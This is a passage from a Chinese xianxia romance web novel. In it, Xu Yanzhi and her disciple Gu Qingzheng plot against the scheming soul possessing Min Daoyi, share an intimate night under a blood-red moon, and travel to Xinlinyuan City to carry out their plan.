她在飞虎车上陷入了沉睡,最后的记忆,便是被顾青峥抱在怀中。没有多想,徐宴芝便以为她是被他一路抱回了小院。 再到她醒转,应当只度过了短短一段时间。 这样短的时间,什么事情刺激到了宇文令,让他忍不下去,回头过来寻找徐宴芝坦白。 将梳子扔在桌上,徐宴芝摩挲着下巴,直觉让宇文令感到不安,主动找到自己的原因与顾青峥无关。 飞虎车上那样难堪的场景他都忍了下来,徐宴芝并不认为顾青峥抱着自己穿过太阴殿会让他全然无法忍耐,以至于放弃掩饰。 她再一次地在脑海中回忆起当时闵道一面上的神情,反反复复地琢磨着,古怪的感觉越来越重。 直到脑中闵道一不知道第几次抬眼看她,徐宴芝看着那一双雾蒙蒙的眼睛,忽然发觉了哪里不对。 闵道一的身体不时被宇文令占据,言行举止中总是有一些与原主不太一样的地方,这一点,他做并不是特别谨慎。 之前徐宴芝认为这是因为他天性自负,或者是一种对她的隐形试探。 可今日仔细回想后,她得出了另一种可能—— 上古的禁术,流传至今,到底失了几分原本的威能。 宇文令寄生在闵道一身上的神魂,对这局躯体的控制正在减弱。 他最开始扮演、操控闵道一时,不留一丝破绽,半点没让徐宴芝察觉,而随着时间流逝,慢慢的,他开始偶尔在行动间忽然失控,让旁人发觉了不对,然后到了今日,山下有所触动后,他回来便发觉,自己进一步失去了对这句身躯的控制。 这让宇文令没办法再独自在暗处观察一切了,他即将失去在北域七峰上最重要的一处棋子,为此,他要立即作出决断来。 在彻底失去对闵道一的控制前,宇文令要选择一个可信的人,帮他找回他藏在某一处的身体。 徐宴芝殚精竭虑为他设下的局,终于还是捕获到了他。 今夜无雪,徐宴芝抬眼看去,天上的星星此起彼伏地闪烁着,月亮也没有蒙上阴影,亮堂堂地照着大地。 明日会是一个好天气,她应当感到高兴才是。 但尘埃落定前,徐宴芝只能惴惴不安地感到心脏在被什么东西拉扯着。 除却耳中血脉汩汩地流动声,此时本该万籁俱寂。 有人在院门前轻敲,轻声唤着徐宴芝。 她从玄之又玄的状态中惊醒,走到门前打开门,看着外头的顾青峥道:“怎么了?” 顾青峥今日做事张扬,白日才将她抱入小院,夜晚又独自来到院前敲门,不知是有何事。 远处的小弟子探头探脑,好奇地观察着他们。 顾青峥也感受到了那些暗处的视线,规规矩矩地站直了身子,离徐宴芝一步远,沉声道:“本该一听到消息便来寻您,可您不在屋里。” “什么消息?”徐宴芝一怔。 “询天阁任长老透露的消息。”顾青峥面无表情地看着她,“他观天象,似乎双月当空,就在这几日了。” “双月当空。”徐宴芝喃喃重复着顾青峥说的话,忽然意识到了什么,“这事,你还说给了谁听吗?” “我收到消息时,师弟也在我身旁。”顾青峥意味深长地说着,“我想,这件事很快大家都会知道,告诉他也无妨,对吗?” 第44章 第四十四章倦鸟之巢 让宇文令当即决定放弃遮掩,找到徐宴芝道明真身,便是因为他听到了询天阁私下里给顾青峥的传言,知晓了双月当空将再现。 越是接近山门大开的日子,红月临空对此界的灵力的影响便越大,宇文令只有一缕神魂寄生在小徒儿体内,对闵道一躯体的控制本就在减 弱,定是忧心不已,才下定决心对徐宴芝坦白。 徐宴芝的心头刹那间转过许多念头,思忖到最后,只剩了一个——机会稍纵即逝,布置了许久,等的就是此时,她应当紧紧抓住才是。 想到这儿,她抬头看向身前的顾青峥。 “您这样看我是——” 他垂眸看着她的眼睛,不放过里头一丝变化。 “既然他按捺不住了,便按照之前我们的谋划去做吧。” 徐宴芝轻声说着,眼眸中平静无澜,好似在对他说自己明日的衣着。 “行。”顾青峥微微笑了笑,“那便按照之前说的做。” 他将话说完,仍旧没有离去的意思,站着未动,看着徐宴芝。 远处看着他们的小弟子似乎不安地动了动身子,那晦暗的视线明明是从很远处看来,应当是看不清楚她与顾青峥的面容的,徐宴芝却仍旧觉得不自在。 她不由得侧头避开了顾青峥灼灼的视线,沉声道:“好了,你今日做的也够出格了,快些回去吧。” “是。”顾青峥艰难将眼睛从她身上挪开,看向他来的地方,“早些歇息。” 他说完,忍不住再看了她一眼,方才转身离开。 这一个夜晚,徐宴芝躺在床上,不住地回忆起遇见宇文令后,与他相处的点点滴滴。 她不敢自诩了解他,只能称得上与他相处久了,日夜观察琢磨,得出了一些关于宇文令的、可能正确的猜想。 宇文令桀骜自负,说自己被困在某处,尤其是对徐宴芝坦白,一定是他到了极度困难的程度,不到万不得已,他是决计不会这样的。 向从前不放在眼里的弱者低头,对生来便高高在上的人而言,还有什么比这更屈辱呢。 所以事情恐怕比他表现出来的要更糟糕。 这个猜想,让徐宴芝在黑暗中慢慢弯起了嘴角。 “真是期待我们的重逢。” 窗外月光黯淡,她陷入对重逢的期待中,忍住了一阵阵的战栗,轻声自语道。 一晃几日过去,七峰上的日子如从前千百年一成不变,闵道一却从师兄手里得了片刻喘息。 询天阁观天象,认为这几日便会再现双月当空,消息传遍了北域,众人都紧张,顾青峥也因此失去了短暂的假期,重新忙碌了起来。 他肩负宗门重任,每日都在山上山下来回奔波,协助凡人城镇与仙城巩固城中法阵防御,即便回山上,也没有时间再如前些日子那般操练师弟。 闵道一便多了许多可以自己做主的时间。 不知为何,师兄已经不在山上,师娘按理来说十分安全,他还是不由自主地、糊里糊涂地拿着这些时间消磨在了师娘那儿。 好几回他都像做梦一般,醒过神来后才发现自己身处无名小院,睁眼只看到师娘的脸,她眼中神情复杂,闵道一看不太懂,想要问,又担心她是因为近来与师兄的纠缠伤了心,不敢多嘴。 这很怪异,闵道一慢慢地意识到了,可他并不敢深究。 如果、如果深究出了结果,而那结果是无法挽回的,他该怎么办。 闵道一想,他这样弱小,什么也改变不了,所以,他只能逃避。 但他又能逃去哪儿呢? 还未等闵道一想清楚,一日傍晚,一轮红月,在万众瞩目中出现在了天边。 众人为此准备了数日,终于到了经受检验的时刻。 随着血月升起,七峰之上结界法阵的亮光相继开始闪烁,与天上七星交相辉映,迸发出巨大的力量。 此界所有的灵力,都在血色月亮的牵引下躁动,如同溟海上掀起了滔天巨浪,一波又一波。 对逆天而行的仙人们而言,这便是天地对他们的考验。 修仙者若是修为低微,又不在结界法阵的庇护下,灵海将会与外界的灵力潮汐一同翻涌,四体百骸一时肿胀一时收缩,极为难受,除此外,还有被红月诱惑步入无尽之崖的可能,可谓万分凶险。 因此,即便七峰诸仙人被远古传下的强大法阵保护着,也仍旧在长老们的指挥下,缩在各自的住处中,不得准许不能外出。 这样的非常时候,太阴峰上仍有一人在走动。 红月照在他的面上,使他的眼眸泛着暗红色的光,看上去妖异极了。 顾青峥迎着漫天妃色,与亘古绵延至今、不知从何处传来的低语声,一步一步地走向太阴殿后的无名小院。 走到小院门前,他发觉院门并非紧闭,而是半掩着。 他毫不迟疑地推门而入,一路走到徐宴芝的卧房前,还未将门打开,便听到了里头压抑着的呻吟。 顾青峥紧紧抿着唇,闯入了这间外男不该进入的房间,将缩在床上不住颤抖的徐宴芝从深处抱了出来,轻轻地抚动她的背。 上一回他与她下山遇见了双月当空,徐宴芝当时差一点被红月引诱离开他的身后,步入茫茫的荒原中。 想来也很讽刺,从前的日子殚精竭虑,她一门心思,只为从宇文令手中脱身,倒能守住心神,不被红月迷惑。 宇文令假死后,诸多事情接踵而至,山上的形势变化多端,一时考虑这个,一时考虑那个,徐宴芝想得多了,便再难回到只有一个念头的曾经。 心思杂乱,修为又没有十足的进步,面对红月时便艰难许多,即便在北域最安全的地方,徐宴芝也免不了被灵力潮汐影响,变得敏感又混乱。 顾青峥将她抱在怀中,她便只能倚在他胸膛上,反手搂住他的脖颈,微微地颤抖着。 “嘘——” 曾经丰腴柔软的身躯变得清瘦,顾青峥一只手几乎能握住她的腰肢,他发出低沉的声音安抚她,好似她婴孩般脆弱。 她也不挣扎,只是艰难地将脸贴在身前这具躯体坚实的胸膛上。 此次双月当空,徐宴芝身处太阴圣山之上,料想自己应当无事,便全然没有准备,因此在红月升起后,猝不及防地难受起来。 无法控制周身的灵力,它们缓缓随着天地之间巨大的灵力潮汐而消涨,让她晕头转向。 徐宴芝像一叶扁舟,在汹涌大海中没有方向的沉浮,她惶恐极了,使尽了力气抱住顾青峥,他们之间再没有一丝距离,她口中仍然不满地喃喃道:“抱紧一点。” 顾青峥失笑道:“再用力,便要弄疼您了。” “疼一些也无妨。” 徐宴芝扬起脸看他,她脸色苍白,眉尾无力地垂下来,人可怜得紧,语气也是难得的纤弱。 说话间,她的手紧紧抓住顾青峥的衣襟,扯开了许多,露出了里头极有生命力的肌肉。 见了这润泽的肌理,徐宴芝索性将脸颊贴了上去。 肌肤相亲时,她感到了他炙热的体温,听到了顾青峥的心跳—— 咚咚、咚咚。 他的心脏跳动,传来了轻微的震动,这清晰的节奏,缓解了她因灵力波动而产生的焦躁,她忍不住地想要渴求更多。 衣裳渐渐撒了一地。 徐宴芝纠缠着索求,四肢并用,不愿让顾青峥独善其身。 但即便到了这个地步,顾青峥仍旧只是将她抱紧,在她耳边喘息着问道:“您这样,我算是趁人之危吗?” “是啊。”她难耐地吻住了他的唇,控诉地轻咬着,“你又不是甚正人君子,竟不想吗?” 顾青峥用力按了一把她的腰,让她的小腹撞在他身上。 “您觉得呢?” 他垂眸看她,语气并不稳,眼眸中的侵略性显而易见,如同那东西一般。 徐宴芝又头昏脑涨起来,她脸上热得要命,不知是因为灵力潮汐的影响还是因为旁的,此时她心中只有一件事,专注极了,便不觉得十分不适,只有些难耐。 “好孩子。”她伸手在他脸上摸了一般,本能的、哄孩子般说着,“乖一些。” 她的发音很古怪。 顾青峥听在耳里,有一瞬间的空白。 他还记得上一回听到她用这样的语气对他说话是什么情况。 是两人在荒野中求生时,他生了一场病,明明已经难受地浑身酸痛,却担心没有利用价值而被她抛弃,再一次失去重要的人。 他艰难支撑起自己,按照她夜晚的吩咐在林中寻觅野果。 但那时他太弱小了,高烧让他在林间晕倒,再醒来后,便是在她的怀中。 少年海娜将他楼得紧紧的,她稚嫩的身躯尚且还没有起伏,可幼小的顾青峥仍然觉得太柔软、太温暖了。 山间的清风将她温柔的呢喃传进了 他的耳中,她说—— 好孩子,快些好,乖一些莫要让我找。 古怪的发言,歌谣一般的轻哼。 与数十年后的现在,如出一辙。 顾青峥将长大后的她轻柔地放在床上,他肖想千百回的身躯一如既往的甜蜜,他摘得了那诱人的蜜糖。 徐宴芝任他摆弄,身躯柔韧得不可思议。 “做得很好。”她眯起眼,脸上泛着红,含糊不清地说着,“真是乖孩子。” 她忘记了他已经长大不是孩子,却仍用这用惯了的语气,恐怕徐宴芝忘得并不是顾青峥的年岁。 她还暂时忘了她心里那条界线。 轻言细语暂时抚平了顾青峥的心结,让他荒谬地生出了一些期待——或许她还记得他,或许他对她而言,的确是不一样的、重要的存在。 这比身体上的刺激更让他沉醉。 “这样会更好一些吗?”顾青峥艰难地控制着自己,既不要太轻柔,也不能太粗暴,他想再讨得夸赞,填进他心底那个无底洞,“还是您喜欢这样?” 他的心跳变得急促,他的动作与他的心跳一般节奏。 徐宴芝很喜欢,因此她不吝于赞扬他:“这样很好,快一点。” 接连的称赞,让顾青峥几乎溺毙其中,他不再克制力度,尽力满足身下人的愿望。 月光如血,洒在窗上。 深空中有某个存在在低语,引诱逆天而行的人踏入歧途。 一心问道者,方才能朝着既定的方向前行,耽于情爱之人,痴缠于无望的欲念,沉溺于随口而言的蜜语,要将其中最细微的甜味咂摸透彻,才能解渴。 一场情事结束,顾青峥伸手拭去徐宴芝额上细密的汗珠,让她卧在自己胸前,以最原始的姿态将她环抱,他将周身的灵力逆着灵力潮汐的波动起伏,缓解她受红月影响产生的不适。 来之前他并未想过要对她做些什么,只是担忧红月让她难受,过来确认徐宴芝是否安全。 这是要紧的时候,他们的谋划、闵道一、宇文令,种种因素加在一块儿,让顾青峥犹豫了许久,是否应当擅自去到无名小院。 而此时徐宴芝脸色苍白伏在他胸前的模样,让他庆幸自己来了。 他们保持着保护与被保护的姿势,安静地待了许久。 “今日你不该过来的。” 银月也升在空中时,血色的月光柔和了一些,徐宴芝从昏沉中找回了一些理智,喃喃说道。 她刚好了一些,便说这样的话。 “怎么。”顾青峥的手臂不自觉地收紧,语气中带着讥讽,“方才您可不是这样说的,得了好处不再难受,便翻脸不认人了吗?” 徐宴芝轻笑了一声,呼出的热气扑在顾青峥的胸膛上,她平和地安抚他道:“我不过说一说,你也莫要放在心上。” 她的气息一下一下地吹在顾青峥的心间,让他沉静下来,回想起适才她的语气,里头似乎并没有责备的意思。 他微微懊恼,刚想张嘴补充些什么时,又听徐宴芝低声道:“这一回是我大意了,你来后我才好些,我应当谢谢你才对。” 顾青峥闻言,心中莫名酸楚了一刹。 过去的这几个月中,他们互相试探、互相提防,假话说了无数,真心的没有几句,即便身体贴得再近,也不觉得心靠近过一瞬,情欲愈得到满足,情绪就愈发低落。 沉沦纠缠直到刚刚,他竟然破天荒地得到了一句真心话。 片刻前想要对徐宴芝说些什么,现下全数抛在脑后,顾青峥张嘴想要说话,却发现脑中干净极了,只有单纯的喜悦。 当然,他还留有最后的理智,他是不会将这喜悦无保留地分享给徐宴芝的。 “我也不想您有事。” 顾青峥说完,惊觉这句话实在柔情得令人作呕,又硬邦邦地补充了一句:“双月落下后,我们还有要紧的事去做,这个时候若是出了意外,那便麻烦了。” “嗯。”身体不再难受后,徐宴芝困顿了起来,眼皮沉重不已,“只等明日了。” 说完这句话,她撑在顾青峥胸前的手垂落下来,意识回归到虚空,毫无防备地陷入了沉睡。 屋里温暖如春,他们的衣裳散落在地上却不觉寒冷。 她已经不再有危险,顾青峥来的目的已经达到了,他此时应当将徐宴芝轻轻放在床上,替她清理好身体,为她盖上锦被,放下床边重重帷幔,让她安心地进入甜梦之中。 可却他久久不曾动弹,任由徐宴芝伏在自己胸前,让这只倦怠的鸟儿短暂栖息在他的枝丫上,让自己变做衬托她美梦的巢穴。 第45章 第四十五章仍是共犯 红月落下后,整个七峰都忙碌了起来。 因双月当空而来到地上的业鬼四处作祟,山下四面八方皆传来凡人的求助,弟子们一队一队的下山,连着奔波了好几日,才终于将那些在北域游荡的业鬼处理干净。 见山中已经无事,徐宴芝便向德政堂提出了要随着商队,一块儿去往新临渊城的要求。 这次的生意也是经过她的牵线而促成的,既然上一回她已经去过一回,近来宗门也无事要顾青峥去做,德政堂便没有理由拒绝她,仍是叮嘱要她注意安全,圣山开山门在即,必须要与顾青峥同行才好。 徐宴芝应了,将要出行时,又与德政堂招呼了一声,带上了闵道一,说要让他去见见世面。 红月落下后的第五日,徐宴芝一行人坐上了飞虎车,各怀心思的出发了。 他们仍旧走上一回走过的那条路。 闵道一驾着头车,车中坐着徐宴芝与顾青峥,在一望无际的雪原中行走着。 寒风呼啸,细细的雪粒子扑簌簌地落在冰上,一会儿便多了一层,雪原上实在太冷,平铺直叙的白色中,一点生灵存在的迹象都无,只听得无休无止的呜呜风声在众人耳边回荡。 顺着旧路,他们不知不觉已经走了两个时辰。 头车上的闵道一用了灵器,又调动了灵力护身,仍在风中瑟瑟发抖,撑得一会儿,便拿起传音符哀叹道:“师兄,我撑不住了。” 传音符在他手中闪烁了一下,须臾后,顾青峥出现在他的身边,接过了他手中的缰绳。 “进去。” 他瞥了师弟一眼,言简意赅道。 闵道一想辩解什么,但顾青峥的神情实在说不上温和,到嘴边话便咽了下去,只留下讪讪一句:“师兄帮我撑一会儿,我歇歇便回来。” “嗯。” 顾青峥面无表情地应了,抬眼看着远处,眼眸寒潭一样,比漫天风雪更冷。 闵道一怯懦地缩了缩脖子,不敢再看,小心翼翼地抓着车壁,撩起帘子,钻进了后头的车厢中。 进去的瞬间,他像是跳入了一个温暖的热水池子,四体百骸一齐热了起来,手指鼓胀胀地开始发痒。 “坐下暖暖吧。” 徐宴芝陷落在皮毛的包围中,微笑看着他,给他倒了一杯冒烟的热茶。 闵道一接过茶盏,仰脖将热茶喝净了。 热流顺着他的喉咙一路暖进了肚子,他的后背也跟着一块儿,腾得一下冒出了汗来。 “谢谢师娘,这会儿好多了。”放下茶盏,闵道一舒舒服服地叹了口气,“既然已经好了,我还是与师兄换过来吧。” “不急,你便在这儿好好歇歇,陪陪我。” 徐宴芝摇摇头,指着身旁的位置,朝他扬了扬下巴。 闵道一本想拒绝,但回想起方才冷若寒霜的师兄,他又疑心方才师兄是不是再次做了什么让师娘不快的事——明明最近几日师兄似乎忌惮了些,不再犯了啊。 这般犹豫了一会儿,他还是乖顺地坐在了徐宴芝身旁。 “上一回下山时,我们去时走了两日,回来又走了两日。”徐宴芝手中捋着腰间锦囊上的流苏,谈天一般对闵道一说着话,“那时不知究竟何时红月会升起,便着急了一些,这一次不急,可以在新临渊城多待上一天,已经到了这时候了,你可以告诉我,我们到底该去哪儿了吧。” 闵道一迷茫地侧头看着徐宴芝,听到自己张口道:“到了再说。” 徐宴芝谴责地看了他一眼,声音也低沉了下来:“事已至此,你仍旧不曾放心我。” “我不放心的不是你。”闵道一体内那个神魂说着,不自觉地攥紧了拳,“你应当知道我在防谁。” 因为要出远门,他 们乘坐的飞虎车厢都是特制的,将帘子放下时,声音传不到外头。 此时与徐宴芝独处,宇文令忍不住从闵道一身躯里出现,含糊地回答了她的提问。 从双月当空那天起,他出现的次数便越来越少。 徐宴芝心中了然,这是因为他用的禁术威能逐渐削弱的缘故,却故作不知,时常想办法要与他谈话。 她想知晓他的身躯现下究竟在何处,百般试探,宇文令也不肯吐露一个字。 他这样隐瞒,并没有让徐宴芝不高兴,她反倒安心起来。 因为越是这样,代表着宇文令现下越虚弱。 飞虎车轰隆隆地在雪地上奔驰,头车车厢中坐着的两人说着话,却没有看着对方的眼睛。 宇文令说罢,徐宴芝扯了扯嘴角,不再回答。 她捧着茶盏出了一会儿神,思忖着明日到了新临渊城,应该如何是好。 “你想好怎么对付他了?” 徐宴芝沉默下来后,不知怎的,宇文令也不如之前淡定,安静的气氛让他心神不安,他眼神飘忽了一会儿,沉声问道。 “你防着我,不愿告诉我你身躯在哪儿,我自然也防着你,这是我保命的手段。” 徐宴芝回过神来,侧身看着他。 车中的灯随着飞虎车的行驶跳动,她琥珀色的眼睛被照得一闪一闪,愈发神秘。 宇文令飞快地偏头看了她一眼,又飞快地移开了视线,一阵灼热感袭上心头,他冷冷道:“你防我我防你,我们之间,竟然到了这个地步。” 徐宴芝晒笑一声,也收回了视线,轻声道:“你扪心自问,究竟是谁先改了态度。” “终究是形势所逼。”他喃喃说着,“等我找回了身躯——” “等你找回了身躯,便放我走吧。” 他的话还未说完,便被徐宴芝冷冷打断。 宇文令眼皮一跳,沉默片刻,并未说不,只是问道:“你想去哪儿?” “天下之大,总有我容身的地方。”徐宴芝垂首低语,露出了一截白皙的后脖,细细的,是脆弱的样子,“你死一次,我也被碾在尘土里,从前情谊,竟然全都淡忘了,若是我能救回你,你便欠我一回,若愿意还我,让我下山吧。” 她倦怠的声音轻轻地拂过宇文令的耳尖,让他心间同步泛起了一阵涟漪,种种旖旎往事,也一块儿碎在其中。 他想,或许在失去了权柄、修为、身躯后,他才能见到真的徐宴芝,他们之间不好的开始,终究不会指向一个好的结局。 “我答应你。”宇文令操控着闵道一,神色晦暗地说着,“恩怨应当分明,既然你觉得你我情谊已尽,助我事成之后,我便亲自送你下山。” “一言为定。” 徐宴芝扯了扯嘴角,神情也不见有多欢喜。 将要入夜时,他们一行人赶到了上一回的营地。 众人除了徐宴芝,都为了扎营忙碌着,不一会儿便变出了几间屋子,顾青峥让徐宴芝选定了一间,自己也不顾旁人眼光,随着她一块儿走了进去。 他站起太近,几乎贴在她的身后,教她不自在起来。 “你这样又是在做什么?”徐宴芝皱了眉头,伸手按在他胸膛,想要将他推出去,“这么多人看着。” 她自然是推不动顾青峥的,他连晃也没晃一下,反而逼得更近,一步一步往前,将她逼到墙边,用身躯笼她在阴影下。 “方才您和他在车厢里说些什么了。” 顾青峥低头,凑在她耳边轻声问道。 想到她与装着宇文令神魂的闵道一独处,哪怕知道是谋划的一部分,也叫顾青峥坐立难安,他握着缰绳,脑子不住地回想的都是从前在暗处窥探到的过往。 光影朦胧中,徐宴芝仰起面孔,眼里倒映着宇文令的影子,一颦一笑皆是柔情万千。 可她是他的师娘,她又不是他的谁,他有什么资格坐立不安,有什么资格仅仅因为她与谁独处,就要咬碎了牙。 行路途中,要凝神警戒,顾青峥费了许多力气,暂且将那些阴暗扭曲的不忿给按了下去,到了营地,一行人暂且安全了,他那些见不得人的腌臜心思又冒了出来。 将徐宴芝禁锢在怀中,他伸手拂过她的一缕碎发,无视她不耐地皱眉,悄声追道:“不能告诉我?” 徐宴芝进来前,好似见到闵道一与同门结伴出了营地,去勘查四周,他不在,她也无心做戏给谁看,既然推不动身前这个男人,干脆懒懒地整个身子靠在墙上,揪住顾青峥的衣襟,似笑非笑道:“你都问了,我也只能说了,刚刚我与他互诉衷肠,旧情复燃,等会儿便要合起伙来将你杀了。” 话还未说完,她瞧见顾青峥神情一凛,脸上愈发僵硬,好似当了真,不由得笑出声来。 “骗你的,你竟然信了。” 她狡黠大笑,眼睛亮晶晶的。 听了这话,顾青峥也释然般扯了扯嘴角,似乎想要说些什么来找回面子,只是口张了又闭,半晌也未曾说出什么来。 徐宴芝见他显出窘态,更是笑得止不住,肚子都疼了起来。 这般情形下,方才还有些剑拔弩张的气氛一扫而空。 顾青峥无奈摇头,将自己被拧成绳的衣襟从徐宴芝手中拽了回来,又扶着她的胳膊,让她不要东倒西歪。 他叹道:“收了笑吧,外头可都能听见,方才还在意旁人眼光,现在却笑得这样大声。” 徐宴芝这些日子紧皱的眉头舒展开来,她看上去放松了许多,有了旧日盛放时的模样。 “我说,你真的不必担心。”她倚着他的手,缓缓收了笑,“至少现在,我们仍然是共犯。” 顾青峥短促地哼笑了一声。 “只是现在——” 他垂下眼来,声音越来越低,那些辗转反侧的念头与吞下肚的话一起,被他藏在了心底最深的地方。 第46章 第四十六章时间紧迫 这是七峰仙人下山时常使用的营地,一概事物都熟悉,不一会儿他们便收拾妥当,将帐扎好,接着,顾青峥又遣人以营地为中心,将周围的树林一点一点清查干净,不教某处藏匿的灵兽冲击了营地。 山下不比七峰,处处暗藏危险,一不小心便会酿成大祸,一行人以经验丰富的顾青峥为首,事事都要由他做主,容不得他躲藏,他只在徐宴芝帐中待了一会儿,便被唤了出去,在外头忙碌起来。 如此这般,待到一切都安顿好,惨白的月亮也爬上了树梢。 白日赶路,不仅飞虎疲惫,驾车的门人一整日聚精会神,灵力消耗也颇大。 为了明日一路顺利,顾青峥召集门人,将恢复灵力的丸药分发到众人手中,弟子们仰脖将丸药咽下肚,待到灵力充溢四体后,便自觉寻了地方歇息,营地中渐渐安静下来,再无半点声息。 因左右都是同门,隔不过几步,彼此的呼吸声都能听得清楚,顾及心中谋划,顾青峥也好,宇文令也好,都收敛了许多,不曾半夜惊扰徐宴芝。 这让她得了一夜安眠,第二日出发时,竟然精神奕奕,瞧上去比在山上时好多了。 这一日,他们仍旧一路往南边走。 他们是天刚蒙蒙亮时出发的,随着太阳越升越高,车队的位置越来越南,忽然某个瞬间,他们走出了那仿佛永远没有边际的冰原,眼前的一切霎那间变得生机勃勃、色彩鲜艳。 几个不常出远门的小弟子禁不住欢呼起来。 他们的声音吵醒了在车里昏昏欲睡的徐宴芝,她怔了一会儿,伸手撩起帘子,默默看着窗外飞驰而过的翠绿。 暖风吹拂过她的面颊,温柔且湿润,与肃杀的冰原寒风截然不同。 南边或许是更适合她的地方,徐宴芝心想。 就像她的来处,幽暗无光的悬崖之下,那里没有四季,从来都温和舒适,年幼的她不需要取暖的法阵、厚实的衣裳,也能无波澜地长大。 从前要逃离的,数十年后变成了在怀念的。故土若有灵,应许她此事必成。 许多念头百转千回,徐宴芝的眼睛却忠实 地倒映着斑斓的窗景,如一对琥珀底色的玻璃珠,乍一看晶莹剔透,若仔细分辨,沉在里头的褐色斑驳便显了出来,让人看穿她心事繁杂,终不似玻璃无暇。 “师娘——” 闵道一的声音先打断了徐宴芝的沉思,他的人跟着也钻进了车里,兴奋地对她比划着自己方才见到的东西。 “这么大的锯齿狼,全身金灿灿的,一看就厉害,我就看着我师兄站在高处跟它对视了一眼,您猜怎么着?那只狼竟然掉头跑了!” 他一边说着,一边得意洋洋地扬起了下巴,好似一眼便震慑到了厉害灵兽的是自己一样。 闵道一体内那个神魂不出现时,还是非常讨喜的。 不过更有趣的是,下山前他还咬牙切齿地痛恨着顾青峥,这才多久,提起师兄来,又是一副崇拜憧憬的模样了。 徐宴芝不禁莞尔一笑,配合地应和了几句。 这一日,他们愈发远离了圣山,众人的力量皆受到了不同程度的影响,顾青峥变得紧张起来,前前后后地在车队中巡视,并未出现在徐宴芝眼前,一直到他们即将到达新临渊城时,他才迤迤然钻进了头车里。 闵道一先前已被赶去前头驾车,车中此时只有他们二人。 “一刻钟后便能进城。” 顾青峥看了她一眼,轻声道。 他说罢,不等她回答,随意地往后一坐,望着车窗沉默下来。 此时窗外已是黄昏,橙色的夕阳照了进来,打在顾青峥的面上,映得他暖融融的,细小的绒毛反着光,又将他勾勒出了金边。 沉默片刻,不知窗外什么惊醒了他,教他微微抬了眉,摸索着拿起徐宴芝的手,漫不经心地捏在手中把玩。 揉捏了一会儿,顾青峥忽然用力,十指交扣地将她的手握在掌心里。 他此刻什么也没说,徐宴芝还是从他身上感到了一阵无形的压力。 而她也明白这压力从何而来,新城就在眼前,许多日的谋划终于要落在实处,遽然间,一切迫在眉睫。 “你怕了?”徐宴芝反握住他的手,似笑非笑地看向他。 顾青峥挑了挑眉,反问道:“您呢,您怕不怕?” 徐宴芝没回答。 窗外的夕阳只剩下了一小块时,飞虎车停了下来。 “师兄,我们到了。”闵道一的声音从前头传来。 顾青峥应了,正要下车时,听得身后有人压低了声说道:“要结束了,我只觉得解脱——” 他的脚步停在半空,再想说什么时,不远处的闵道一已经与守城护卫一块儿迎了上来。 顾青峥只好顺势上前,将已到了嘴边的安慰咽了下去。 太阳沉下了地平线,世界渐渐暗淡。 他一边与旁人交谈,一边天真地想着,要结束了,结束以后,或许这些此刻听来绵软无力的安慰,能化作尘埃落定后的谈资,在以后的岁月里被他们反复谈及。 只是顾青峥到底看不到身后。 他不清楚在身后的飞虎车中,阴沉的女人隔着一扇窗,在静静地、冷冷地望着他。 顾青峥与门前守卫交涉过后,车队缓缓动了起来,朝着城中驶去。 他们远道而来,新临渊城的顾城主喜不自胜,早早安排好了食宿,亲自带着人在城门处静候。 他似乎听到关于圣山将要开山门的传言,言行比上回要恭敬许多,俨然已将顾青峥视为掌门,见到七峰众人后,更是殷切地再三邀请,要为七峰来的仙人们举办盛宴。 顾青峥先让了几回,接着转头请示了仍端坐在车中的徐宴芝,得了她的点头,方才同意了顾城主的邀约。 他的举动,让原本全数落在他身上的视线又转了大半给徐宴芝。 “顾仙长真是一等一的好人品!” “竟是这样尊重徐夫人!” 不论心里是怎么想的,以顾城主为首的新城人皆长吁短叹,将徐、顾二人好生称赞了一番。 这是徐宴芝第二次来新城,也是第二次与揽云大泽做交易,一回生二回熟,岳竺此次并未亲至新临渊城,只是来信说明日会有弟子前来取货。 今日城中的稀客,便只有七峰一行人,既然是门人,顾城主招待起来也轻松了许多。 只见顾城主一边点头一边在前头引路,一会儿功夫,飞虎们来到了此行的住处前,被一只一只解开缰绳,牵到兽厩中安顿下来,徐宴芝也随着侍从们的指引,来到了客居的小院中。 小院有一位侍女正恭敬地站在院中,见她步入,欣喜地迎上来朝她行礼,徐宴芝定睛一看,正是上一回见过的那位侍女。 顾城主特特又将她遣来,是觉得她得了徐宴芝的另眼相看,想来当时赠给她的戒子,并未逃过城中旁人的眼。 徐宴芝对她客气笑了笑,随她走进屋中,坐在桌旁,饮她奉上的热茶。 侍女为她倒了茶,却没有立即退下,绞着手站在一旁,纠结了许久,方才期期艾艾道:“多谢夫人上回的馈赠。” “无妨,都是你们城主送来的,我不过借了他的光。” 面对这位女奴出身的侍女,徐宴芝说话的口气也仍旧温和。 不管山上人如何看徐宴芝,对眼前侍女而言,她便是七峰上来的大人物,恐怕也是侍女此生能见到最有权势、最漂亮的人。 得了这样的仙子温柔相待,她不自禁地一再延迟了离开的时间,而徐宴芝瞧上去没有丝毫不耐烦,饶有兴致地与她聊着新临渊城的种种。 徐宴芝似乎也忘了时间。 直到院门被敲响,有男声在外提示道:“徐夫人,宴会将要开始了。”她才恍然大悟地看向了远处。 略微迟疑了一会儿,徐宴芝对侍女扬了扬下巴:“你去与他说,我有些不适,宴会便不去了。” 侍女惊恐地睁大了眼,终于在此刻清醒,回想起顾城主安排她过来,便是要哄着徐夫人对新城亲近,若是城主的宴席都不去,可称不上亲近啊。 但再借她一百个胆子,她也不敢质疑大人物的决定,连忙点了头,勉强笑着往外走去,按照徐宴芝所说对外头交代了。 外头男声听了侍女所言,清晰地倒吸了一口凉气,顿了顿后,应声离去。 不待侍女回转,徐宴芝又挥退了她,独自坐在桌前,盯着桌上耀目的仙灯出神。 看到灯上炸了一朵灯花,她才发觉不知何时,自己将手攥得发痛,手心里全是冰凉的汗。 徐宴芝自嘲地扯了扯嘴角。 想了许久,等了许久。 她以为过去数十年里她已经想过千万种成功失败的可能,在薄薄的冰面上走到麻木,已经可以低头注视脚下无尽的深渊,不会再有一丝波澜时,本能却告诉她,徐宴芝仍旧会畏惧。 ——您怕吗? 傍晚时顾青峥说的话又在她脑中响起。 她微微颔首,几不可闻地喃喃自语道:“怕又如何,若是不得自由,生不如死啊。” 徐宴芝的身处府中最大的一间院子,与前头举办宴会的正殿相隔不远,端坐在屋里,也能听到一些丝竹之声。 顾城主好面子,为了给七峰来人留下好印象,宴会办得颇为盛大,前殿酣歌恒舞,一直闹到后半夜才安静下来。 又等了一会儿后,徐宴芝小院的大门嘎吱一响,一个人踏进了院子。他走到屋前才停下脚步,左右打量了一番后,凑近了门,低声道:“他们都歇下了。” 话音刚落,门便从里头被徐宴芝推开来。 她看着面前闵道一的躯体,点头对他身体内的神魂道:“我带你出城。” 